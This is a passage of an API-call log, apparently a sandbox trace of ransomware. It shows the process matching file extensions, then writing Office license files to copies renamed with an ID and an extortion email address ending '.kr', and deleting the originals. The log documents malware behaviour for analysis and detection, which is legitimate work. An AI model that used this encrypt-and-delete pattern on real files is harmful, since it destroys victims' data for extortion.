(lpString1=".xls", lpString2="m-ms") returned -1 [0202.539] lstrlenW (lpString=".xlsx") returned 5 [0202.539] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.539] lstrlenW (lpString=".ppt") returned 4 [0202.539] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.539] lstrlenW (lpString=".zip") returned 4 [0202.539] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.539] lstrlenW (lpString=".rar") returned 4 [0202.540] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString=".bz2") returned 4 [0202.540] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString=".7z") returned 3 [0202.540] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.540] lstrlenW (lpString=".dbf") returned 4 [0202.540] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.540] lstrlenW (lpString=".1cd") returned 4 [0202.540] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.540] lstrlenW (lpString=".jpg") returned 4 [0202.540] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.540] lstrlenW (lpString=".doc") returned 4 [0202.540] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString=".docx") returned 5 [0202.540] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.540] lstrlenW (lpString=".pdf") returned 4 [0202.540] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString=".xls") returned 4 [0202.540] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString=".xlsx") returned 5 [0202.540] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.540] lstrlenW (lpString=".ppt") returned 4 [0202.540] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.540] lstrlenW (lpString=".zip") returned 4 [0202.540] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.540] lstrlenW (lpString=".rar") returned 4 [0202.540] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.541] lstrlenW (lpString=".bz2") returned 4 [0202.541] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.541] lstrlenW (lpString=".7z") returned 3 [0202.541] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.541] lstrlenW (lpString=".dbf") returned 4 [0202.541] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.541] lstrlenW (lpString=".1cd") returned 4 [0202.541] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0202.541] lstrlenW (lpString=".jpg") returned 4 [0202.541] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.541] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.541] lstrlenW (lpString="O365HomePremR_Subscription4-ppd.xrm-ms") returned 38 [0202.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.542] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=26541) returned 1 [0202.542] CloseHandle (hObject=0x548) returned 1 [0202.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 0x220 [0202.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.542] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.542] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.543] GetLastError () returned 0x0 [0202.543] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x67ad, lpOverlapped=0x0) returned 1 [0202.546] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x67b0, lpOverlapped=0x0) returned 1 [0202.547] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.547] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x120, lpOverlapped=0x0) returned 1 [0202.547] SetEndOfFile (hFile=0x554) returned 1 [0202.547] CloseHandle (hObject=0x554) returned 1 [0202.547] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.547] SetEndOfFile (hFile=0x548) returned 1 [0202.551] CloseHandle (hObject=0x548) returned 1 [0202.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 1 [0202.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.552] lstrlenW (lpString=".doc") returned 4 [0202.552] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString=".docx") returned 5 [0202.553] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.553] lstrlenW (lpString=".pdf") returned 4 [0202.553] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString=".xls") returned 4 [0202.553] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString=".xlsx") returned 5 [0202.553] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.553] lstrlenW (lpString=".ppt") returned 4 [0202.553] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.553] lstrlenW (lpString=".zip") returned 4 [0202.553] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString=".rar") returned 4 [0202.553] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString=".bz2") returned 4 [0202.553] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString=".7z") returned 3 [0202.553] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.553] lstrlenW (lpString=".dbf") returned 4 [0202.553] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.553] lstrlenW (lpString=".1cd") returned 4 [0202.553] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.553] lstrlenW (lpString=".jpg") returned 4 [0202.553] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.553] lstrlenW (lpString=".doc") returned 4 [0202.553] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.553] lstrlenW (lpString=".docx") returned 5 [0202.554] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.554] lstrlenW (lpString=".pdf") returned 4 [0202.554] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.554] lstrlenW (lpString=".xls") returned 4 [0202.554] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.554] lstrlenW (lpString=".xlsx") returned 5 [0202.554] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.554] lstrlenW (lpString=".ppt") returned 4 [0202.554] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.554] lstrlenW (lpString=".zip") returned 4 [0202.554] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.554] lstrlenW (lpString=".rar") returned 4 [0202.554] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.554] lstrlenW (lpString=".bz2") returned 4 [0202.554] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.554] lstrlenW (lpString=".7z") returned 3 [0202.554] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.554] lstrlenW (lpString=".dbf") returned 4 [0202.554] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.554] lstrlenW (lpString=".1cd") returned 4 [0202.554] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0202.554] lstrlenW (lpString=".jpg") returned 4 [0202.554] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.554] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.554] lstrlenW (lpString="O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 41 [0202.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.555] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11651) returned 1 [0202.555] CloseHandle (hObject=0x548) returned 1 [0202.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 0x220 [0202.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.556] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.556] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.556] GetLastError () returned 0x0 [0202.556] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d83, lpOverlapped=0x0) returned 1 [0202.558] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d90, lpOverlapped=0x0) returned 1 [0202.559] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.560] WriteFile (in: hFile=0x554, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x126, lpOverlapped=0x0) returned 1 [0202.560] SetEndOfFile (hFile=0x554) returned 1 [0202.560] CloseHandle (hObject=0x554) returned 1 [0202.560] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.560] SetEndOfFile (hFile=0x548) returned 1 [0202.562] CloseHandle (hObject=0x548) returned 1 [0202.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 1 [0202.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.564] lstrlenW (lpString=".doc") returned 4 [0202.564] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.564] lstrlenW (lpString=".docx") returned 5 [0202.564] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.564] lstrlenW (lpString=".pdf") returned 4 [0202.564] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.564] lstrlenW (lpString=".xls") returned 4 [0202.564] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.564] lstrlenW (lpString=".xlsx") returned 5 [0202.564] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.564] lstrlenW (lpString=".ppt") returned 4 [0202.564] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.564] lstrlenW (lpString=".zip") returned 4 [0202.564] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString=".rar") returned 4 [0202.565] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString=".bz2") returned 4 [0202.565] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString=".7z") returned 3 [0202.565] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.565] lstrlenW (lpString=".dbf") returned 4 [0202.565] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.565] lstrlenW (lpString=".1cd") returned 4 [0202.565] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.565] lstrlenW (lpString=".jpg") returned 4 [0202.565] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.565] lstrlenW (lpString=".doc") returned 4 [0202.565] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString=".docx") returned 5 [0202.565] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.565] lstrlenW (lpString=".pdf") returned 4 [0202.565] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString=".xls") returned 4 [0202.565] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString=".xlsx") returned 5 [0202.565] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.565] lstrlenW (lpString=".ppt") returned 4 [0202.565] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.565] lstrlenW (lpString=".zip") returned 4 [0202.566] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.566] lstrlenW (lpString=".rar") returned 4 [0202.566] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.566] lstrlenW (lpString=".bz2") returned 4 [0202.566] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.566] lstrlenW (lpString=".7z") returned 3 [0202.566] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.566] lstrlenW (lpString=".dbf") returned 4 [0202.566] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.566] lstrlenW (lpString=".1cd") returned 4 [0202.566] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0202.566] lstrlenW (lpString=".jpg") returned 4 [0202.566] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.566] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.566] lstrlenW (lpString="O365HomePremR_Subscription5-pl.xrm-ms") returned 37 [0202.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.567] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11199) returned 1 [0202.567] CloseHandle (hObject=0x548) returned 1 [0202.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 0x220 [0202.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0202.567] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.567] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0202.951] GetLastError () returned 0x0 [0202.951] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0202.954] WriteFile (in: hFile=0x51c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0202.956] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.956] WriteFile (in: hFile=0x51c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0202.956] SetEndOfFile (hFile=0x51c) returned 1 [0202.956] CloseHandle (hObject=0x51c) returned 1 [0202.956] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.956] SetEndOfFile (hFile=0x548) returned 1 [0202.959] CloseHandle (hObject=0x548) returned 1 [0202.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 1 [0202.960] lstrlenW 